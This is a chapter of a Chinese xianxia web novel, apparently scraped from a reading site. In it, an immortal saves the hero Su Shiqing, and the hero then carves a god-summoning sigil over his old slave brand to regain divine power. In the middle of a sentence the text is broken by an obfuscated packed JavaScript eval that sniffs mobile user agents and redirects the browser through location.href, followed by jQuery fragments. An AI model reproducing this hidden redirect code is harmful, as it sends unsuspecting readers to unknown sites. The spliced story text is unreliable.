随后三日,应狩一直流连在抱璞守剑宗。
这位无所事事的仙人故意等到第三日快过完了,容情和凤军队伍已经走得很远之后,才重新回到苏时倾的榻边。
幽幽凝视着苏时倾每况愈下的躯体叹息:“今日怎得更虚弱了?此前还能勉强元神出窍,现在竟是连这点力量都不剩……我本不该多管的,可谁让你我相识一场、你又是冼夏神尊的得意传人呢?”
应狩一个人孤零零地嘟囔着,絮絮叨叨之际突然瞅见那个乌漆嘛黑的废弃法器聚魂匣,不由得失色大惊!
引一缕仙气探视聚魂匣匣内,应狩此时才感知到了容错将军的灵魂:“这?竟是凡人的剩余魂魄,在不放弃地护佑着你!”
感叹之余,应狩心下大受震撼,喃喃说着:“自愧不如。”
应狩又放下了聚魂匣,只是紧接着,想离开的步调竟又被容错的灵魂曳曳拽住。这缕自身难保的灵魂,居然不死心,在恳请仙人救救苏时倾。
应狩不忍心忽视,对着灵魂说实话:“救醒苏时倾当然可以,我也乐意。只是救醒他之后,他浑身的神力都会消散的。苏时倾会彻底与冼夏断链,只能回到那个能力平平的他。”
灵魂的挽力不见消减,似乎并不为此为难。
容错替代苏时倾做出了回应选择。
应狩视线游离,替床榻上躺着的呆子欣然:“苏时倾,在乎你的人,不会介意你是平凡、还是有能力。只盼望你好好活着,寿岁长。”
算是应允了灵魂的请求,应狩终于念诀,用仙力分离掉弑仙诅的缠连、断开冼夏的印记与气息——才堪堪护住苏时倾的性命,救他转醒。
“希望冼夏神尊不要怪责我才好。”应狩也不知道冼夏会去哪里,当下能救一个算一个吧。
苏时倾是猛地坐起来的。
突然的起坐使他头晕目眩,可他顾不上为自己操心。
醒来的第一件事,是匆匆捧着聚魂匣探看。得知容错仍有灵魂尚存,安能淡定?苏时倾迫不及待地再求应狩出手:“救救容大哥,好不好?应狩仙人,拜托你、求求你!”
不是应狩不救,而是逆天的事务,应狩真的没办法。
见应狩心虚躲闪,苏时倾把一切的罪责拦在自己身上:“是我彻底害得容错失去复生的机会,对不对?”
“你已经尽力了。不是你的错。”
容错的心愿完成,准备在苏时倾察觉不到的时隙里,悄悄逝去。
舍得永别,也是勇气。
苏时倾自责之后,忽然又惦念起昏睡中的事情来,话锋骤转,嗔怨便怒火:“我让你护卫容情,你缘何不跟随她一块去战场?守在我床榻边做什么?”
心焦让多余的怪罪更没道理。
好在应狩脾性好,忍得了苏时倾的不可理喻。
苏时倾却耐不住应狩每每不回应,思量着外人总归靠不住,想自己前去,于是掀开被子就一根筋地向外面冲。衣服都忘了换,毛毛躁躁地冲出屋门之后,他狼狈地摔倒在地。
“冼夏。冼夏?”苏时倾摔得可疼,疼时不见神息暗运护身,才后知后觉神降之力已然尽数消解,往后再没有非凡的参谋和神力助他。
不少内外门子弟守在这间院子里,见到苏时倾仓皇摔倒,争着过来搀扶他起身:“时倾你还病着,回屋好好休息,得休养才是啊。”
“冼夏?冼夏!”茫然的呼唤显得尤其声嘶力竭,苏时倾怀恨怨怼冼夏怎么最该在的时候,消失不见了。
罢了!战神尊不在便不在,他要去京都、要去前线,要去完成自己在乎的一切一切!
内外门中的子弟众怎么会猜不到苏时倾的意愿呢?强控着苏时倾、锁得后者牢牢的,无论听到何种恳请、何种诉求,都不愿意纵容苏时倾玩命。
“好——我不去。可你们总得告诉我,京都怎么样了?前线怎么样了?是胜?是负?”苏时倾挨个摇晃子弟们的肩头,子弟们偏头不敢与他直视。
强捺着欲念,苏时倾竭力镇静,被围护着送回屋内。
应狩看在眼里,没有帮衬。
苏时倾不是迂腐的人。他知道没有力量,即使去了前线也无用。于是开始安安静静地想办法,想着如何再次拥有足以帮助容情的力量。
不求定天下、不求除妖邪,堪堪能得到帮衬上容情的力量就足够。
可是,能有这样的办法吗?
月上梢头,无心入眠。苏时倾守着星星,冥想到天亮。担忧的心绪总不安生,频频侵扰他的思路,又让焦虑倍增。
“应狩。”苏时倾知道地仙在,这回不激动,是思来想去后的诚挚请求,“我想恢复力量。如果恢复不了,也想重新得到力量。”
“只有有足够的力量,才能保护想保护的人。”
多么现实的结论。多么遗憾的处境。
应狩看在眼里,没有回音。
苏时倾并没有因此绝望,仙人不回应、才是正常的道理。他好似已经想到了自己的路子和办法,坚定着心意放狠话:“无人帮我、无人信我,我便自己想办法。”
堕仙楼能用奇技阴巧召神,那他苏时倾也能!
哪怕是万劫不复的代价!
晨光仍半藏半掩,苏时倾趁着这个时分,轻轻悄悄打开屋门。
守在外头的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442112|160449||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子弟以为苏时倾安静了一夜,是不挣扎了,所以各自寐着、安神休憩。
苏时倾的步子比任何时候都要小心,也比任何时候都要坚定。
冰雪路上留下他的足迹,步步深邃、步步惊心。
他出至百炼成钢院外,深深怀谢鞠躬;他途径敛心化玉院前,忱忱感念再拜。接着,正堂前、校场中皆留下仪式印记。最后终于踱到抱璞守剑宗正山门外,双膝跪下,郑重叩谢。
上阶的坎恒难,下台的路总苦。
天命要苏时倾把难和苦都尝遍。苏时倾没有记恨,已经很不容易了。
就这么光明正大、又偷偷摸摸地行至灵宝山下,苏时倾要去的地方,竟是战后萧索幽寂的乱坟岗。
多谢谷牧城总爱穿红衣,在乱坟岗里也数他的尸身最显眼——苏时倾要找到,并不难。
双手合十,对着谷牧城叨了声不情愿的“抱歉”。而后苏时倾干脆利落地扒去红衣,找着谷牧城之所以能够召神的蛛丝马迹。
谷牧城不会给答案,但是他身体上遗留的痕迹可以告诉苏时倾很多很多。苏时倾很快发现了谷牧城召神的秘密。
就和此前谷牧城勒使容错噤声的方式一样,召神的办法也是画咒符。不过召神的咒符要繁琐得多,也隐秘得多——至少谷牧城是将它画在了自己的后背上。
苏时倾的眼睛记住了咒符的画样,但是双手却伸不到身后去为自己临摹。他是拿着石头倒着割划的,气力到一半便中阻了,勉强画出两道不破皮的红痕,根本起不到任何作用。
其实背后原本的奴隶烙痕,和召神的符样很相似。苏时倾想着再加几笔,一定能实现所想的愿景的。
烙痕再痛一次、再痛多少次都没关系,他不介意了。
应狩看在眼里,不帮是不忍心、帮也是不忍心。再看不下去苏时倾的自我折磨,地仙闭着眼睛,终究施展术法成全了苏时倾的愿望。
连神仙都谓叹苏时倾的勇气:“有的人天生自由,却自甘堕落成被驱使的傀儡;有的人囚困中谋生,却终了蜕变成顶天立地的材人。”
背后增多的划痕终于成就了召神的咒术,可苏时倾心间的灼烧感远远比皮肉的刺痛来得更激烈更残忍。
不幸之中的幸运是——
他没有召出死透了的娣玟、亦没能召回迷踪无迹的冼夏。召神不成功,但神力在重新丝丝缕缕凝聚,如苏时倾愿望的那样回拢。
背后的伤痕受神力急速治愈,凝结成覆盖住旧烙痕的新的金印。
谁都不能再说他曾是奴隶。
他彻底蜕变,成了不再卑微茫然、不再迷途弱小的——自己的神。